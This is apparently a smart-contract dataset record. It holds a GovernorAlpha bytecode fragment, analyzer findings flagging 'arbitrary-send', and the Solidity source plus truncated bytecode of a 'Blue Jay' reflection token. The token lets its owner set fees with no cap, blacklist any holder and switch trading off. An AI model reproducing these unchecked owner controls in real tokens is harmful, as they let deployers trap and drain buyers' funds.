068613a3a63616e63656c3a2063616e6e6f7420636160008301527f6e63656c2065786563757465642070726f706f73616c000000000000000000006020830152604082019050919050565b6000614387602a8361501d565b91507f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e6760008301527f20697320636c6f736564000000000000000000000000000000000000000000006020830152604082019050919050565b60006143ed60158361501d565b91507f7375627472616374696f6e20756e646572666c6f7700000000000000000000006000830152602082019050919050565b600061442d60368361501d565b91507f476f7665726e6f72416c7068613a3a5f5f61626469636174653a2073656e646560008301527f72206d75737420626520676f7620677561726469616e000000000000000000006020830152604082019050919050565b60608201600082015161449c6000850182613717565b5060208201516144af6020850182613717565b5060408201516144c26040850182614504565b50505050565b6144d181615094565b82525050565b6144e081615094565b82525050565b6144ef8161509e565b82525050565b6144fe81615165565b82525050565b61450d816150ab565b82525050565b600061451e82613b50565b915061452a8285613744565b60208201915061453a8284613744565b6020820191508190509392505050565b600061455582613ee6565b9150819050919050565b600061456a82613f72565b9150819050919050565b60006020820190506145896000830184613562565b92915050565b60006040820190506145a46000830185613544565b6145b160208301846144d7565b9392505050565b600060a0820190506145cd6000830187613562565b6145da6020830186613889565b81810360408301526145eb81613c1c565b905081810360608301526145ff818561375b565b905061460e60808301846144d7565b95945050505050565b600060408201905061462c6000830185613562565b61463960208301846144d7565b9392505050565b60006080820190506146556000830187613562565b61466260208301866144d7565b61466f6040830185613726565b61467c60608301846144f5565b95945050505050565b600060a08201905061469a6000830188613562565b6146a760208301876144d7565b81810360408301526146b98186613898565b905081810360608301526146cd818561375b565b90506146dc60808301846144d7565b9695505050505050565b600060a0820190506146fb6000830188613562565b61470860208301876144d7565b818103604083015261471a8186613943565b9050818103606083015261472e81856137cd565b905061473d60808301846144d7565b9695505050505050565b600060808201905081810360008301526147618187613571565b9050818103602083015261477581866136b9565b905081810360408301526147898185613644565b9050818103606083015261479d81846135cf565b905095945050505050565b60006020820190506147bd6000830184613735565b92915050565b60006080820190506147d86000830187613735565b6147e56020830186613735565b6147f260408301856144d7565b6147ff6060830184613562565b95945050505050565b600060608201905061481d6000830186613735565b61482a60208301856144d7565b6148376040830184613726565b949350505050565b60006080820190506148546000830187613735565b61486160208301866144e6565b61486e6040830185613735565b61487b6060830184613735565b95945050505050565b6000602082019050614899600083018461385c565b92915050565b60006020820190506148b4600083018461386b565b92915050565b60006020820190506148cf600083018461387a565b92915050565b600060208201905081810360008301526148ef818461390a565b905092915050565b60006020820190508181036000830152614910816139d2565b9050919050565b6000602082019050818103600083015261493081613a38565b9050919050565b6000602082019050818103600083015261495081613ac4565b9050919050565b6000602082019050818103600083015261497081613b90565b9050919050565b6000602082019050818103600083015261499081613c5c565b9050919050565b600060208201905081810360008301526149b081613cc2565b9050919050565b600060208201905081810360008301526149d081613d28565b9050919050565b600060208201905081810360008301526149f081613db4565b9050919050565b60006020820190508181036000830152614a1081613e40565b9050919050565b60006020820190508181036000830152614a3081613ea6565b9050919050565b60006020820190508181036000830152614a5081613fd8565b9050919050565b60006020820190508181036000830152614a7081614064565b9050919050565b60006020820190508181036000830152614a90816140ca565b9050919050565b60006020820190508181036000830152614ab081614156565b9050919050565b60006020820190508181036000830152614ad0816141bc565b9050919050565b60006020820190508181036000830152614af081614222565b9050919050565b60006020820190508181036000830152614b1081614288565b9050919050565b60006020820190508181036000830152614b3081614314565b9050919050565b60006020820190508181036000830152614b508161437a565b9050919050565b60006020820190508181036000830152614b70816143e0565b9050919050565b60006020820190508181036000830152614b9081614420565b9050919050565b6000606082019050614bac6000830184614486565b92915050565b6000602082019050614bc760008301846144d7565b92915050565b600061012082019050614be3600083018c6144d7565b614bf0602083018b613544565b8181036040830152614c02818a613571565b90508181036060830152614c1681896136b9565b90508181036080830152614c2a8188613644565b905081810360a0830152614c3e81876135cf565b9050614c4d60c08301866144d7565b614c5a60e08301856144d7565b818103610100830152614c6d8184613898565b90509a9950505050505050505050565b600061012082019050614c93600083018c6144d7565b614ca0602083018b613562565b614cad604083018a6144d7565b614cba60608301896144d7565b614cc760808301886144d7565b614cd460a08301876144d7565b614ce160c08301866144d7565b614cee60e0830185613726565b614cfc610100830184613726565b9a9950505050505050505050565b6000604082019050614d1f60008301856144d7565b614d2c60208301846144d7565b9392505050565b6000604051905081810181811067ffffffffffffffff82111715614d5657600080fd5b8060405250919050565b600067ffffffffffffffff821115614d7757600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115614d9f57600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115614dc757600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115614def57600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115614e1757600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115614e4357600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115614e6f57600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115614e9b57600080fd5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600061504482615074565b9050919050565b60008115159050919050565b6000819050919050565b600081905061506f826151d4565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b60006150ce82615141565b9050919050565b60006150e0826150e7565b9050919050565b60006150f282615074565b9050919050565b60006151048261510b565b9050919050565b600061511682615074565b9050919050565b600061512882615061565b9050919050565b600061513a82615094565b9050919050565b600061514c82615153565b9050919050565b600061515e82615074565b9050919050565b6000615170826150ab565b9050919050565b82818337600083830152505050565b60005b838110156151a4578082015181840152602081019050615189565b838111156151b3576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b600881106151de57fe5b50565b6151ea81615039565b81146151f557600080fd5b50565b6152018161504b565b811461520c57600080fd5b50565b61521881615057565b811461522357600080fd5b50565b61522f81615094565b811461523a57600080fd5b50565b6152468161509e565b811461525157600080fd5b50565b61525d816150ab565b811461526857600080fd5b5056fea365627a7a72315820a95a2a047fd5749f222d7322a510dbdd64fec71f5ccc308eeffb88fa28bb551e6c6578706572696d656e74616cf564736f6c63430005100040
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,885
0xf743d6e13d7be115bedd2657f7f0614d15f7b963
/* Blue Jays are known for their intelligence, loyalty, and complex social systems with tight family bonds. 4% total tax Website - https://bluejayeth.com/ Telegram - https://t.me/BlueJayEth Twitter - Soon */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BlueJay is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Blue Jay"; string private constant _symbol = "BLUEJAY"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 1; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 1; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xCea363B4aB273A1091F34e27Fdb1C3563FEF79f0); address payable private _marketingAddress = payable(0xCea363B4aB273A1091F34e27Fdb1C3563FEF79f0); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000 * 10**9; //1% uint256 public _maxWalletSize = 200000 * 10**9; //2% uint256 public _swapTokensAtAmount = 30000 * 10**9; //.3% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f2f565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613378565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e9b565b610859565b6040516102599190613342565b60405180910390f35b34801561026e57600080fd5b50610277610877565b604051610284919061335d565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af919061355a565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e4c565b6108ac565b6040516102ec9190613342565b60405180910390f35b34801561030157600080fd5b5061030a610985565b604051610317919061355a565b60405180910390f35b34801561032c57600080fd5b5061033561098b565b60405161034291906135cf565b60405180910390f35b34801561035757600080fd5b50610360610994565b60405161036d9190613327565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dbe565b6109ba565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f70565b610aaa565b005b3480156103d457600080fd5b506103dd610b5c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dbe565b610c2d565b604051610413919061355a565b60405180910390f35b34801561042857600080fd5b50610431610c7e565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f99565b610dd1565b005b34801561046857600080fd5b50610471610e70565b60405161047e919061355a565b60405180910390f35b34801561049357600080fd5b5061049c610e76565b6040516104a99190613327565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f70565b610e9f565b005b3480156104e757600080fd5b506104f0610f51565b6040516104fd919061355a565b60405180910390f35b34801561051257600080fd5b5061051b610f57565b6040516105289190613378565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f99565b610f94565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fc2565b611033565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e9b565b6110ea565b6040516105b79190613342565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dbe565b611108565b6040516105f49190613342565b60405180910390f35b34801561060957600080fd5b50610612611128565b005b34801561062057600080fd5b5061063b60048036038101906106369190612ed7565b611201565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e10565b611361565b604051610671919061355a565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f99565b6113e8565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dbe565b611487565b005b6106d4611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134ba565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081090613894565b915050610764565b5050565b60606040518060400160405280600881526020017f426c7565204a6179000000000000000000000000000000000000000000000000815250905090565b600061086d610866611649565b8484611651565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000662386f26fc10000905090565b60006108b984848461181c565b61097a846108c5611649565b61097585604051806060016040528060288152602001613da160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092b611649565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a19092919063ffffffff16565b611651565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906134ba565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b36906134ba565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9d611649565b73ffffffffffffffffffffffffffffffffffffffff161480610c135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfb611649565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1c57600080fd5b6000479050610c2a81612105565b50565b6000610c77600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612200565b9050919050565b610c86611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd9611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d906134ba565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea7611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b906134ba565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600781526020017f424c55454a415900000000000000000000000000000000000000000000000000815250905090565b610f9c611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906134ba565b60405180910390fd5b8060188190555050565b61103b611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf906134ba565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110fe6110f7611649565b848461181c565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611169611649565b73ffffffffffffffffffffffffffffffffffffffff1614806111df5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c7611649565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e857600080fd5b60006111f330610c2d565b90506111fe8161226e565b50565b611209611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906134ba565b60405180910390fd5b60005b8383905081101561135b5781600560008686858181106112e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f79190612dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135390613894565b915050611299565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f0611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611474906134ba565b60405180910390fd5b8060178190555050565b61148f611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611513906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061341a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061353a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611731576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117289061343a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405